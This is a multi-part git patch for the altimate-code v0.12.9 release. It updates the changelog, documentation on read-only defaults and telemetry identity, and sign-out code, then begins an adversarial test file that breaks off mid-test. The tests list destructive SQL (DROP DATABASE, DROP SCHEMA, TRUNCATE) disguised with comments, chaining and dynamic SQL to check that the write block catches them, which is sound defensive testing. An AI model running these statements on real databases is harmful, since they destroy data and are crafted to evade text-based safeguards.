From ae0c6d39cd29565dba6dadb7d004ef6c71183b33 Mon Sep 17 00:00:00 2001 From: Haider Date: Wed, 4 Nov 2026 02:04:50 +0530 Subject: [PATCH 1/7] release: v0.12.9 Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01XM3J9mB75wZRnzTSGcW2kc --- CHANGELOG.md | 37 +++++++++++++++++++++++++++++++++++++ 1 file changed, 37 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index cd1e0f48f6..b714b32f57 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,6 +5,43 @@ All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [0.12.9] - 2026-11-04 + +**Claude Code and other coding agents can call altimate-code's data tools directly.** `altimate-code mcp serve` and the new model-free `altimate-code tool` CLI run the same tools without a second model: reads by default, writes only with `--allow-write`. In projects linked to a workspace, what people teach the agent can become a team rule: they confirm it on a card, the workspace owner reviews it, and approved rules reach every teammate's sessions. Also in this release: `auth logout` removes the saved Altimate gateway key, the analyst stays read-only whatever config grants, and the home screen suggests the Claude Code and Codex plugins. + +**Heads-up for support:** +- **MCP and `tool run` requests are read-only unless `--allow-write`.** `DROP DATABASE`, `DROP SCHEMA` and `TRUNCATE` are refused even then. The block reads the SQL text, so it is best effort; for a hard guarantee, connect with a database user that lacks those privileges. +- **`tool` commands start a per-project background process** that keeps connections warm and exits after 10 idle minutes. +- **Workspace skill syncs also write copies into `/.claude/skills/`** so Claude Code sessions pick them up. Skills you wrote with the same name are never touched, and unlinking removes the copies. +- **`schema_inspect` without a table** lists schemas, or up to 500 tables with catalog row estimates, instead of scanning. +- **`learn status` prints `Learning from sessions: on|off (source)`** where it printed `Capture:`, and learn messages say "rule" where they said "lesson". The JSON output only gains a `rules` block. +- **In a linked project, `training_save` with `kind: "rule"` shows a proposal card** instead of writing training, and `learn bootstrap` / `learn import-reviews` send what they find for review. +- **Telemetry carries the signed-in user and tenant** when the machine is signed in to Altimate; anonymous rows keep the machine id. Turning telemetry off sends one final `telemetry_opted_out` event (machine id and opt-out source only), then nothing. +- **The analyst's write tools stay off whatever config grants**, including `"*": "allow"`. `task` from the analyst is limited to `data-explorer`. +- **A symlink inside an allowed external folder that points elsewhere now asks** for the folder it points to, for every agent. +- **Ctrl+C during browser sign-in exits with status 130**, not 0. +- **The Altimate LLM Gateway free-token allowance is 1M tokens.** + +### Added + +- **`altimate-code tool` CLI and expanded `mcp serve`.** `tool list`, `schema`, `run`, `context` and `daemon` call the same tools as `mcp serve` through one adapter, one allow-list and one permission layer. Default MCP tools now include `impact_analysis`, `dbt_lineage`, `altimate_core_column_lineage`, `schema_detect_pii`, `data_diff`, `altimate_core_equivalence` and `sql_translate`; `--all-tools` exposes the full list. Workspace tools are on for `tool` commands in linked projects (`--no-workspace-tools` turns them off) and opt-in for `mcp serve` (`--workspace-tools`). `link --claude-md` writes routing guidance into `CLAUDE.md`. (#1609) +- **Workspace rules.** A proposal card in the TUI (`ctrl+x p`), owner review with approve, edit and "Not a rule", `/rules` and a sidebar `rules:` line, `learn sync`, and approved rules delivered into every session with their `applies_to` paths. See "Workspace rules" in the learn docs. (#1605) +- **Plugin tips on the home screen** for Claude Code and Codex, and a README section on using altimate-code from them. (#1625) +- **Workspace telemetry** for linking, usage, the engine and the starter. The telemetry reference lists every new event. (#1513) +- **Signed-in identity on telemetry and a final opt-out event.** (#1501) + +### Changed + +- **The analyst stays read-only.** After config, it denies again every built-in tool that changes state, so a wildcard or explicit grant cannot turn them back on, and it can read the files that ship with global skills. (#1597) +- **External-directory checks follow symlinks**, so a link in an allowed folder cannot reach a folder that is not allowed. (#1597) +- **The analyst asks for high reasoning effort** on adaptive-thinking models unless the user or agent config sets one. (#1609) + +### Fixed + +- **`auth logout` removes the saved Altimate gateway key.** (#1606) +- **Ctrl+C during browser sign-in exits 130** instead of reporting success. (#1624) +- **Docs and the TUI show the 1M free-token allowance.** (#1611) + ## [0.12.8] - 2026-10-23 **Claude Code can work through your Altimate workspace.** With the Altimate Code plugin installed and the project linked, tasks Claude hands to altimate-code run with the workspace's skills, knowledge and shared memory, and a headless `run` no longer hangs waiting on a stdin nobody writes to. Also in this release: the curl and PowerShell installers add an `altimate-code` command, the analyst can read workspace memory, `learn status` shows whether a lesson keeps being corrected, `schema_inspect` shows what column values look like, and SQL policy checks fail closed on statements they cannot analyze. From 68561e2e3ddf7e2f8626c14985701b63389846c8 Mon Sep 17 00:00:00 2001 From: Haider Date: Wed, 4 Nov 2026 02:08:35 +0530 Subject: [PATCH 2/7] fix: release review follow-ups for v0.12.9 - `auth logout` also removes the cached telemetry identity, as the telemetry reference says - `tool run` points to `tool schema` only for argument errors, and `--allow-write` help says what counts as a write - docs: the DROP/TRUNCATE block is best effort, tool results reach the calling agent's model, `mcp serve --workspace-tools`, signed-in telemetry is not anonymous, the narrower config opt-out caveat, and no draft wording in the MCP workspaces note - CHANGELOG: heads-up items from the release review Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01XM3J9mB75wZRnzTSGcW2kc --- CHANGELOG.md | 12 +++++++----- docs/docs/configure/mcp-servers.md | 4 ++-- docs/docs/reference/security-faq.md | 8 ++++---- docs/docs/usage/tool.md | 4 +++- docs/mcp-workspaces.md | 4 ++-- packages/opencode/src/altimate/api/client.ts | 7 +++++++ packages/opencode/src/cli/cmd/tool.ts | 5 +++-- .../help/__snapshots__/help-snapshots.test.ts.snap | 7 +++---- 8 files changed, 31 insertions(+), 20 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index b714b32f57..589d94a054 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -10,15 +10,17 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 **Claude Code and other coding agents can call altimate-code's data tools directly.** `altimate-code mcp serve` and the new model-free `altimate-code tool` CLI run the same tools without a second model: reads by default, writes only with `--allow-write`. In projects linked to a workspace, what people teach the agent can become a team rule: they confirm it on a card, the workspace owner reviews it, and approved rules reach every teammate's sessions. Also in this release: `auth logout` removes the saved Altimate gateway key, the analyst stays read-only whatever config grants, and the home screen suggests the Claude Code and Codex plugins. **Heads-up for support:** -- **MCP and `tool run` requests are read-only unless `--allow-write`.** `DROP DATABASE`, `DROP SCHEMA` and `TRUNCATE` are refused even then. The block reads the SQL text, so it is best effort; for a hard guarantee, connect with a database user that lacks those privileges. +- **MCP and `tool run` requests are read-only unless `--allow-write`.** The database enforces read-only on PostgreSQL, SQLite and DuckDB; on other warehouses it rests on SQL classification, so stored functions with side effects are not blocked. `DROP DATABASE`, `DROP SCHEMA` and `TRUNCATE` are refused even with `--allow-write`, but that block also reads the SQL text and is best effort. Use a read-only database user for a hard guarantee. `--allow-write` is all or nothing, and statements such as `SET`, `ATTACH`, `COPY ... TO`, `INSTALL` and DuckDB `SUMMARIZE` count as writes. +- **`mcp serve` allows `warehouse_add` without `--allow-write`**, so a calling agent can save a connection; `tool run` needs `--allow-write` for it. Tool results, including query rows and sample values, go to the calling agent's model provider. Large results are spilled to private local files. - **`tool` commands start a per-project background process** that keeps connections warm and exits after 10 idle minutes. -- **Workspace skill syncs also write copies into `/.claude/skills/`** so Claude Code sessions pick them up. Skills you wrote with the same name are never touched, and unlinking removes the copies. +- **Workspace skill syncs can write copies into `/.claude/skills/`** when `ALTIMATE_CLAUDE_SKILL_SYNC=1` is set, which the Claude Code plugin does. Skills you wrote with the same name are never touched; unlinking or signing out removes the copies. - **`schema_inspect` without a table** lists schemas, or up to 500 tables with catalog row estimates, instead of scanning. - **`learn status` prints `Learning from sessions: on|off (source)`** where it printed `Capture:`, and learn messages say "rule" where they said "lesson". The JSON output only gains a `rules` block. - **In a linked project, `training_save` with `kind: "rule"` shows a proposal card** instead of writing training, and `learn bootstrap` / `learn import-reviews` send what they find for review. -- **Telemetry carries the signed-in user and tenant** when the machine is signed in to Altimate; anonymous rows keep the machine id. Turning telemetry off sends one final `telemetry_opted_out` event (machine id and opt-out source only), then nothing. -- **The analyst's write tools stay off whatever config grants**, including `"*": "allow"`. `task` from the analyst is limited to `data-explorer`. +- **Telemetry carries the signed-in user ID and tenant** when the machine is signed in to Altimate, so those events are not anonymous; no email address, hashed or not, is sent. One `GET /users/me` lookup per credential finds them, and none is made while telemetry is off. Rows from machines that are not signed in keep the machine id. Turning telemetry off sends one final `telemetry_opted_out` event (machine id and opt-out source only), then nothing. +- **The analyst's write tools stay off whatever config grants**, including `"*": "allow"`: file edits, SQL writes, memory saves, shell and delegation. Configs that relied on a grant to give the analyst more power will see those tools denied. `task` from the analyst is limited to `data-explorer`; MCP and custom tools still follow config. - **A symlink inside an allowed external folder that points elsewhere now asks** for the folder it points to, for every agent. +- **`auth logout` removes the saved gateway key**, `~/.altimate/altimate.json`, MCP server entries that carry that key (add the datamate again after signing in), and the cached telemetry identity. - **Ctrl+C during browser sign-in exits with status 130**, not 0. - **The Altimate LLM Gateway free-token allowance is 1M tokens.** @@ -38,7 +40,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Fixed -- **`auth logout` removes the saved Altimate gateway key.** (#1606) +- **`auth logout` removes the saved Altimate gateway key** and the MCP entries that carry it. Sign-out now also removes the cached telemetry identity, as the telemetry reference says. (#1606) - **Ctrl+C during browser sign-in exits 130** instead of reporting success. (#1624) - **Docs and the TUI show the 1M free-token allowance.** (#1611) diff --git a/docs/docs/configure/mcp-servers.md b/docs/docs/configure/mcp-servers.md index d6678f3ff0..e34f560aaa 100644 --- a/docs/docs/configure/mcp-servers.md +++ b/docs/docs/configure/mcp-servers.md @@ -23,7 +23,7 @@ Add this entry to your MCP client's configuration (for example, Claude Code's `. } ``` -By default the server exposes `warehouse_list`, `warehouse_add`, `sql_execute`, `sql_materialize` and `answer_commit`, plus `impact_analysis`, `dbt_lineage`, `altimate_core_column_lineage`, `schema_detect_pii`, `data_diff`, `altimate_core_equivalence` and `sql_translate`. Pass `tables` to `sql_execute` to get those tables' columns and value profiles in the same call as its queries. Start with `--all-tools` to expose every data tool, the same set `altimate-code tool list` shows. Without `--connections`, the server reads the usual connection sources and re-reads them while none are configured, so a connections file written mid-session, or a connection added with `warehouse_add`, is picked up without a restart. A connections file is a JSON object keyed by connection name: +By default the server exposes `warehouse_list`, `warehouse_add`, `sql_execute`, `sql_materialize` and `answer_commit`, plus `impact_analysis`, `dbt_lineage`, `altimate_core_column_lineage`, `schema_detect_pii`, `data_diff`, `altimate_core_equivalence` and `sql_translate`. Pass `tables` to `sql_execute` to get those tables' columns and value profiles in the same call as its queries. Start with `--all-tools` to expose every data tool, the same set `altimate-code tool list` shows. In a project linked to a workspace, `--workspace-tools` adds `workspace_context`, `workspace_skill` and `workspace_execute`; in an unlinked project `workspace_context` reports what setup is missing. Without `--connections`, the server reads the usual connection sources and re-reads them while none are configured, so a connections file written mid-session, or a connection added with `warehouse_add`, is picked up without a restart. A connections file is a JSON object keyed by connection name: ```json { @@ -37,7 +37,7 @@ At startup the server lists each connection's name and type in its instructions, -Source writes are refused by default. Without `--allow-write`, source queries request database-enforced read-only execution on PostgreSQL, SQLite and DuckDB. For other connection types, read-only is enforced by SQL classification only; stored functions with side effects are not blocked — use a read-only database user. The server prints this caveat on stderr at startup and includes it in `warehouse_list` for each affected connection. Add `--allow-write` to enable SQL write permissions; existing hard safety blocks still apply (`DROP DATABASE`, `DROP SCHEMA` and `TRUNCATE` stay blocked). `warehouse_add` may write local connection configuration (the connections file and the operating system credential store) even in read-only mode. `sql_materialize` always requires a read-only source query and writes only into the server session's temporary `scratch` warehouse. Scratch tables disappear when the server exits. Large results may include a local spill file path that your client can open with any file reader. Spill files use a private directory and are deleted when the server exits. Local `tool_output.max_lines` and `tool_output.max_bytes` settings control output limits; remote agent configuration is not loaded. +Source writes are refused by default. Without `--allow-write`, source queries request database-enforced read-only execution on PostgreSQL, SQLite and DuckDB. For other connection types, read-only is enforced by SQL classification only; stored functions with side effects are not blocked — use a read-only database user. The server prints this caveat on stderr at startup and includes it in `warehouse_list` for each affected connection. Add `--allow-write` to enable SQL write permissions; `DROP DATABASE`, `DROP SCHEMA` and `TRUNCATE` are still refused. That block reads the SQL text, so it is best effort; use a database user without those privileges for a hard guarantee. `warehouse_add` may write local connection configuration (the connections file and the operating system credential store) even in read-only mode. `sql_materialize` always requires a read-only source query and writes only into the server session's temporary `scratch` warehouse. Scratch tables disappear when the server exits. Large results may include a local spill file path that your client can open with any file reader. Spill files use a private directory and are deleted when the server exits. Local `tool_output.max_lines` and `tool_output.max_bytes` settings control output limits; remote agent configuration is not loaded. diff --git a/docs/docs/reference/security-faq.md b/docs/docs/reference/security-faq.md index 9cc1780d84..ab524c7ac4 100644 --- a/docs/docs/reference/security-faq.md +++ b/docs/docs/reference/security-faq.md @@ -144,7 +144,7 @@ export ALTIMATE_CLI_MODELS_PATH=/path/to/models.json ## What telemetry is collected? -Anonymous usage telemetry, including event names, token counts, timing, and error types. **Never** code, queries, credentials, file paths, or prompt content. See the full [Telemetry reference](telemetry.md) for the complete event list. +Usage telemetry, including event names, token counts, timing, and error types. **Never** code, queries, credentials, file paths, or prompt content. See the full [Telemetry reference](telemetry.md) for the complete event list. Disable telemetry entirely: @@ -164,8 +164,8 @@ export ALTIMATE_TELEMETRY_DISABLED=true ### How does Altimate Code identify users for analytics? -- **Logged-in users:** Your email is SHA-256 hashed before sending. We never see your raw email. -- **Anonymous users:** A random UUID (`crypto.randomUUID()`) is generated on first run and stored at `~/.altimate/machine-id`. This is NOT tied to your hardware, OS, or identity — it's purely random. +- **Signed-in users:** Events carry your Altimate user ID and tenant, so they are not anonymous. No email address, hashed or not, is sent. See [User identification](telemetry.md) for how the ID is looked up and cached. +- **Users who are not signed in:** A random UUID (`crypto.randomUUID()`) is generated on first run and stored at `~/.altimate/machine-id`. This is NOT tied to your hardware, OS, or identity — it's purely random. - **Both identifiers** are only sent when telemetry is enabled. Disable with `ALTIMATE_TELEMETRY_DISABLED=true` or the `telemetry.disabled` config option. - **No fingerprinting:** We do not use browser fingerprinting, hardware IDs, MAC addresses, or IP-based tracking. - **CLI auth flow:** When you sign in via `altimate auth login`, the anonymous machine ID is included in the authorization URL and associated with your account in product analytics for funnel analysis. This is suppressed when you disable telemetry — via `ALTIMATE_TELEMETRY_DISABLED=true` or the `telemetry.disabled` config option — and the machine ID is omitted from the URL entirely. @@ -184,7 +184,7 @@ No code, queries, file paths, or personal information is included. This event he The install scripts (`altimate.sh/install`, `install.ps1`), the npm postinstall, and the VS Code extension's installer send nothing themselves and contact no telemetry endpoint. They only record the version and installer name to a local file that the CLI reads on its next run, so the opt-out above decides whether anything is ever transmitted. !!! warning "One caveat on the config-file opt-out" - The environment variables (`ALTIMATE_TELEMETRY_DISABLED`, `OPENCODE_DISABLE_TELEMETRY`) are always honoured. The `telemetry.disabled` **config key** is read during telemetry startup, which can run before the CLI's config is resolvable — and in that case startup currently proceeds with telemetry enabled. A user who has opted out via the config key alone may therefore still have this event transmitted. Use an environment variable if you need a guarantee. + The environment variables (`ALTIMATE_TELEMETRY_DISABLED`, `OPENCODE_DISABLE_TELEMETRY`) are always honoured. The `telemetry.disabled` **config key** is read from the config files at telemetry startup. If a config file cannot be read or parsed at that point, startup proceeds with telemetry enabled, so this event may still be transmitted. Use an environment variable if you need a guarantee. ## What happens when I authenticate via a well-known URL? diff --git a/docs/docs/usage/tool.md b/docs/docs/usage/tool.md index 526581c6c4..40985774f5 100644 --- a/docs/docs/usage/tool.md +++ b/docs/docs/usage/tool.md @@ -51,7 +51,9 @@ Only the data tools are exposed. Coding tools (`bash`, `read`, `edit`, ...), `db Runs are read-only by default. Reads such as `sql_execute` on a SELECT and `schema_inspect` are allowed; anything else is refused with `Permission denied: . Re-run with --allow-write to enable writes.` Tools that change local configuration (`warehouse_add`, `warehouse_remove`, `warehouse_install_driver`) also need `--allow-write`. -`DROP DATABASE`, `DROP SCHEMA` and `TRUNCATE` stay blocked even with `--allow-write`. +`DROP DATABASE`, `DROP SCHEMA` and `TRUNCATE` are refused even with `--allow-write`. The block reads the SQL text, so it is best effort: statements built at run time, for example by a stored procedure, are not seen. For a hard guarantee, connect with a database user that lacks `DROP` and `TRUNCATE`. + +Tool results go to the model of the agent that called the tool. `sql_execute` returns result rows, `warehouse_list` shows one sample row per table of a local database, and `schema_inspect` and `sql_execute` with `tables` return value profiles per column; set `ALTIMATE_DISABLE_SCHEMA_VALUES=1` to leave the value profiles out. Keep passwords and keys out of `warehouse_add` arguments, which end up in the calling agent's transcript: reference credentials from a connections file or `ALTIMATE_CODE_CONN_*` variables instead. ## Daemon diff --git a/docs/mcp-workspaces.md b/docs/mcp-workspaces.md index c2496cf0bb..8ed8700482 100644 --- a/docs/mcp-workspaces.md +++ b/docs/mcp-workspaces.md @@ -1,6 +1,6 @@ # Workspaces for external coding clients (experimental) -`altimate-code mcp serve --workspace-tools` adds workspace context, named skills and known read operations from the linked workspace's existing `datamate` engine. The default MCP server remains unchanged. This draft builds on the experimental MCP server; no rollout or merge is implied. +`altimate-code mcp serve --workspace-tools` adds workspace context, named skills and known read operations from the linked workspace's existing `datamate` engine. The default MCP server remains unchanged. The client must run in the intended project directory. Sign-in and linking may complete after connecting: `workspace_context` returns structured setup status and the catalog remains stable. `workspace_context` returns the current workspace, bounded project memory, a summary of skills/knowledge/integrations, and skill names. `workspace_skill` reads a named skill from the validated snapshot; refresh missing skills with `altimate-code workspace refresh`. It rejects traversal, symlinks, oversized skills and a changed snapshot/account. @@ -18,7 +18,7 @@ These commands output JSON. A context receipt binds account, workspace and proje Workspace context adds bounded data to a client's prompt; skills load on demand. Explicit knowledge calls can use backend models, memory publication can invoke the existing backend extractor, and warehouse calls retain warehouse costs. There is no new reasoning agent or per-row model loop. A CLI link can normally backfill existing memory; clients that expose linking without a backfill confirmation must disable memory for that subprocess, as the Claude plugin does. Do not pass `--yes` unless replacing a link was explicitly requested. -Verification covers unit contracts, a real stdio protocol fixture and existing SQLite MCP behavior. Production read-only testing listed visible workspaces and loaded matching context through a temporary local project. Production bindings and memory were not written. A non-empty cloud memory round trip and real workspace-engine SQL/knowledge calls remain rollout checks. +Verification covers unit contracts, a real stdio protocol fixture and existing SQLite MCP behavior. ## Automatic-client setup and stable gateway diff --git a/packages/opencode/src/altimate/api/client.ts b/packages/opencode/src/altimate/api/client.ts index 43e69cf1ee..7a03aeb906 100644 --- a/packages/opencode/src/altimate/api/client.ts +++ b/packages/opencode/src/altimate/api/client.ts @@ -188,6 +188,7 @@ export namespace AltimateApi { export async function signOut(projectDir: string): Promise> { if (!(await isConfigured())) { await withdrawClaudeSkills(projectDir) + await forgetTelemetryIdentity() return [] } let key: string @@ -213,6 +214,7 @@ export namespace AltimateApi { } await clearCredentials() await withdrawClaudeSkills(projectDir) + await forgetTelemetryIdentity() return removed } @@ -224,6 +226,11 @@ export namespace AltimateApi { .catch(() => {}) } + /** The cached telemetry identity names the account signing out. Imported here: identity imports this module. */ + async function forgetTelemetryIdentity(): Promise { + await import("../telemetry/identity").then((identity) => identity.clear()).catch(() => {}) + } + const VALID_TENANT_REGEX = /^[a-z_][a-z0-9_-]*$/ /** True if `name` is a well-formed instance/tenant name. */ diff --git a/packages/opencode/src/cli/cmd/tool.ts b/packages/opencode/src/cli/cmd/tool.ts index ce6220fa91..e067c90f98 100644 --- a/packages/opencode/src/cli/cmd/tool.ts +++ b/packages/opencode/src/cli/cmd/tool.ts @@ -194,7 +194,7 @@ const ToolRunCommand = cmd({ .option("args", { describe: "tool arguments as a JSON object, or - to read them from stdin", type: "string" }) .option("args-file", { describe: "read the tool arguments (JSON) from a file", type: "string" }) .option("allow-write", { - describe: "allow writes (DROP DATABASE, DROP SCHEMA and TRUNCATE stay blocked)", + describe: "allow writes: DML, DDL and statements read as writes, such as SET, ATTACH, COPY ... TO and INSTALL (DROP DATABASE, DROP SCHEMA and TRUNCATE stay blocked)", type: "boolean", default: false, }) @@ -226,7 +226,8 @@ const ToolRunCommand = cmd({ } catch (error) { result = { status: "error", title: "Tool run failed", output: error instanceof Error ? error.message : String(error), metadata: {} } } - if (result.status === "error" && !result.output.startsWith("Unknown tool")) + // Point to the schema only when the arguments were the problem, not for SQL, connection or permission errors. + if (result.status === "error" && /invalid arguments|Tool arguments/i.test(result.output)) result = { ...result, output: `${result.output}\nInput schema: altimate-code tool schema ${name}` } if (args.json) { console.log(JSON.stringify({ status: result.status, title: result.title, output: result.output, metadata: result.metadata })) diff --git a/packages/opencode/test/cli/help/__snapshots__/help-snapshots.test.ts.snap b/packages/opencode/test/cli/help/__snapshots__/help-snapshots.test.ts.snap index 484001e989..0947ed2587 100644 --- a/packages/opencode/test/cli/help/__snapshots__/help-snapshots.test.ts.snap +++ b/packages/opencode/test/cli/help/__snapshots__/help-snapshots.test.ts.snap @@ -82,7 +82,6 @@ Options: [string]" `; -// altimate_change start — document the committed-answer echo allowance in run help exports[`opencode CLI help-text snapshots every documented command emits stable help text: opencode run --help 1`] = ` "altimate-code run [message..] @@ -144,7 +143,6 @@ Options: --dangerously-skip-permissions auto-approve permissions that are not explicitly denied (dangerous!) [boolean] [default: false]" `; -// altimate_change end exports[`opencode CLI help-text snapshots every documented command emits stable help text: opencode debug --help 1`] = ` "altimate-code debug @@ -889,8 +887,9 @@ Options: local drivers [string] [choices: "workspace", "local"] --args tool arguments as a JSON object, or - to read them from stdin [string] --args-file read the tool arguments (JSON) from a file [string] - --allow-write allow writes (DROP DATABASE, DROP SCHEMA and TRUNCATE stay blocked) - [boolean] [default: false] + --allow-write allow writes: DML, DDL and statements read as writes, such as SET, ATTACH, + COPY ... TO and INSTALL (DROP DATABASE, DROP SCHEMA and TRUNCATE stay + blocked) [boolean] [default: false] --daemon use a long-running process that keeps connections warm; --no-daemon runs in this process [boolean] [default: true] --json print {status,title,output,metadata} as JSON [boolean] [default: false] From de3272c765766b2a83c49d309f280d268631ce98 Mon Sep 17 00:00:00 2001 From: Haider Date: Wed, 4 Nov 2026 02:14:31 +0530 Subject: [PATCH 3/7] test: v0.12.9 adversarial tests, and a length cap on the rule classifier - `test/skill/release-v0.12.9-adversarial.test.ts`: hard-denied SQL however spelled, the CLI permission handler, the tool allow-list, runner argument validation, rule classification, the telemetry opt-out marker and identity cache, endpoint masking, sign-out removing the identity cache, the analyst denies and `Filesystem.realLocation` - the rule classifier reads the first 2,000 characters: two of its patterns backtrack, and a 450 KB request took about 16 s - help snapshot keeps its `altimate_change` markers Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01XM3J9mB75wZRnzTSGcW2kc --- .../opencode/src/altimate/rules/classify.ts | 6 +- .../__snapshots__/help-snapshots.test.ts.snap | 2 + .../skill/release-v0.12.9-adversarial.test.ts | 928 ++++++++++++++++++ 3 files changed, 935 insertions(+), 1 deletion(-) create mode 100644 packages/opencode/test/skill/release-v0.12.9-adversarial.test.ts diff --git a/packages/opencode/src/altimate/rules/classify.ts b/packages/opencode/src/altimate/rules/classify.ts index bc4267b6cf..84b1b3c398 100644 --- a/packages/opencode/src/altimate/rules/classify.ts +++ b/packages/opencode/src/altimate/rules/classify.ts @@ -41,7 +41,11 @@ const RULE_CUES: readonly [RegExp, string][] = [ [/\b(?:name|prefix|suffix|alias)\s+\S+(?:\s+\S+)?\s+(?:as|with|like)\b/i, "a naming convention"], ] -export function classify(text: string): { kind: Kind; cue?: string } { +// The cues are read from the start of the text: some patterns backtrack, and a request to remember is short. +const MAX_CLASSIFIED_CHARS = 2000 + +export function classify(input: string): { kind: Kind; cue?: string } { + const text = input.slice(0, MAX_CLASSIFIED_CHARS) if (ASKED_RULE.test(text)) return { kind: "rule", cue: "asked for a rule" } if (ASKED_MEMORY.test(text)) return { kind: "memory", cue: "asked to remember it for themselves" } const memory = MEMORY_CUES.find(([pattern]) => pattern.test(text)) diff --git a/packages/opencode/test/cli/help/__snapshots__/help-snapshots.test.ts.snap b/packages/opencode/test/cli/help/__snapshots__/help-snapshots.test.ts.snap index 0947ed2587..eeb9702758 100644 --- a/packages/opencode/test/cli/help/__snapshots__/help-snapshots.test.ts.snap +++ b/packages/opencode/test/cli/help/__snapshots__/help-snapshots.test.ts.snap @@ -82,6 +82,7 @@ Options: [string]" `; +// altimate_change start — document the committed-answer echo allowance in run help exports[`opencode CLI help-text snapshots every documented command emits stable help text: opencode run --help 1`] = ` "altimate-code run [message..] @@ -143,6 +144,7 @@ Options: --dangerously-skip-permissions auto-approve permissions that are not explicitly denied (dangerous!) [boolean] [default: false]" `; +// altimate_change end exports[`opencode CLI help-text snapshots every documented command emits stable help text: opencode debug --help 1`] = ` "altimate-code debug diff --git a/packages/opencode/test/skill/release-v0.12.9-adversarial.test.ts b/packages/opencode/test/skill/release-v0.12.9-adversarial.test.ts new file mode 100644 index 0000000000..640639a363 --- /dev/null +++ b/packages/opencode/test/skill/release-v0.12.9-adversarial.test.ts @@ -0,0 +1,928 @@ +/** + * Adversarial coverage for the v0.12.9 release payload (v0.12.8..HEAD): the model-free `tool` CLI and + * `mcp serve` permission gate (read/write split, the DROP DATABASE / DROP SCHEMA / TRUNCATE hard deny, the + * allow-list, `--args -` folding, runner argument validation), the workspace-rules classifier and terminal + * sanitiser, the telemetry opt-out marker, identity cache, endpoint masking and string masking, sign-out + * removing the cached telemetry identity, analyst's post-config write denies, and `Filesystem.realLocation`. + * + * Targets the exported helpers with hostile inputs: comment-split and dollar-quoted SQL, chained + * statements, keywords hidden inside literals, prototype-pollution keys, control and bidi characters, + * link loops, dangling links and ~1 MB inputs. No module mocks, no network; every file write goes to a + * temp directory under os.tmpdir() (HOME is redirected with OPENCODE_TEST_HOME) that is removed afterwards. + */ +import { afterAll, afterEach, beforeAll, beforeEach, describe, expect, test } from "bun:test" +import fs from "node:fs" +import fsp from "node:fs/promises" +import os from "node:os" +import path from "node:path" +import { Cause, Effect, Exit } from "effect" + +import { askFor, denied, isBlockedStatement, READ_PERMISSIONS } from "../../src/altimate/tool-cli/permissions" +import { EXPOSED, MCP_OPEN_WRITE_TOOLS, WRITE_TOOLS } from "../../src/altimate/tool-cli/allow-list" +import { foldStdinArgs } from "../../src/altimate/tool-cli/argv" +import { createRunner, type Runner } from "../../src/altimate/tool-cli/runner" +import { + classify, + classifyAndCheck, + classifyMulti, + isScratchSafeWrite, + isSingleQuery, +} from "../../src/altimate/tools/sql-classify" +import { classify as classifyRule, memoryScope } from "../../src/altimate/rules/classify" +import { printable } from "../../src/altimate/rules/printable" +import { OptOutMarker } from "../../src/altimate/telemetry/opt-out" +import { TelemetryIdentity } from "../../src/altimate/telemetry/identity" +import { Telemetry } from "../../src/altimate/telemetry" +import { endpointOf } from "../../src/altimate/workspace/api-client" +import { AltimateApi } from "../../src/altimate/api/client" +import { Filesystem } from "../../src/util/filesystem" +import { Agent } from "../../src/agent/agent" +import { Permission } from "../../src/permission" +import { bootstrap } from "../../src/cli/bootstrap" +import { registerDefaultNativeHandlers } from "../lib/native-handlers" +import { testEffect } from "../lib/effect" + +const tmpRoot = fs.mkdtempSync(path.join(os.tmpdir(), "release-v0129-adv-")) +afterAll(() => fs.rmSync(tmpRoot, { recursive: true, force: true })) + +const HARD_DENY = "DROP DATABASE, DROP SCHEMA and TRUNCATE are blocked for safety" + +// --------------------------------------------------------------------------------------------------------- +// 1. #1609 — SQL classifier and the `tool` CLI permission gate +// --------------------------------------------------------------------------------------------------------- + +describe("v0.12.9 adversarial: hard-denied statements are blocked however they are spelled", () => { + test.each([ + ["DROP DATABASE prod", undefined], + ["drop database prod", undefined], + ["DrOp ScHeMa s", undefined], + ["DROP/**/DATABASE prod", undefined], + ["DROP -- hidden\nDATABASE prod", undefined], + ["DROP--\nSCHEMA x", undefined], + ["drop\ndatabase x", undefined], + ["drop\tschema x", undefined], + ["DROP DATABASE x", undefined], + ["DROP DATABASE IF EXISTS x", undefined], + ["DROP SCHEMA IF EXISTS s CASCADE", "postgres"], + ["TRUNCATE t", undefined], + ["truncate table t", undefined], + ["TRUNCATE/**/t", undefined], + ["TRUNCATE (t)", undefined], + ["/* a */ /* b */ TRUNCATE t", undefined], + ["drop database `x`", "mysql"], + ["DROP DATABASE [x]", "sqlserver"], + ["drop schema s", "bigquery"], + ["drop database x", "snowflake"], + ] as const)("%p (%p) is blocked", (sql, dialect) => { + const result = classifyAndCheck(sql, dialect) + expect(result.blocked).toBe(true) + expect(result.queryType).toBe("write") + expect(isBlockedStatement(sql, dialect)).toBe(true) + }) + + test.each([ + ["select 1; drop database prod", undefined], + ["select 1;drop schema s cascade", undefined], + ["select 'it''s'; drop schema s", undefined], + ["select * from t where x = 'a' ; drop database prod -- '", undefined], + ["select * from t; truncate t", "snowflake"], + ["select $$x$$; drop database prod", "postgres"], + ["select 1 #\n drop database x", "mysql"], + ] as const)("a hard deny chained after a read is still blocked: %p", (sql, dialect) => { + expect(classifyAndCheck(sql, dialect).blocked).toBe(true) + expect(classify(sql, dialect)).toBe("write") + expect(classifyMulti(sql, dialect)).toBe("write") + }) + + test.each([ + ["DO $$ BEGIN EXECUTE 'DROP DATABASE x'; END $$", "postgres"], + ["EXECUTE IMMEDIATE 'DROP DATABASE x'", "snowflake"], + ["EXECUTE IMMEDIATE $$DROP DATABASE x$$", "snowflake"], + ["EXEC('DROP DATABASE x')", "sqlserver"], + ["select * from query('drop database x')", "duckdb"], + ] as const)("dynamic SQL that carries a hard deny is blocked: %p", (sql, dialect) => { + expect(classifyAndCheck(sql, dialect).blocked).toBe(true) + }) + + test("a MySQL executable comment is never read as an inert comment", () => { + for (const sql of ["DROP /*!50000 DATABASE */ x", 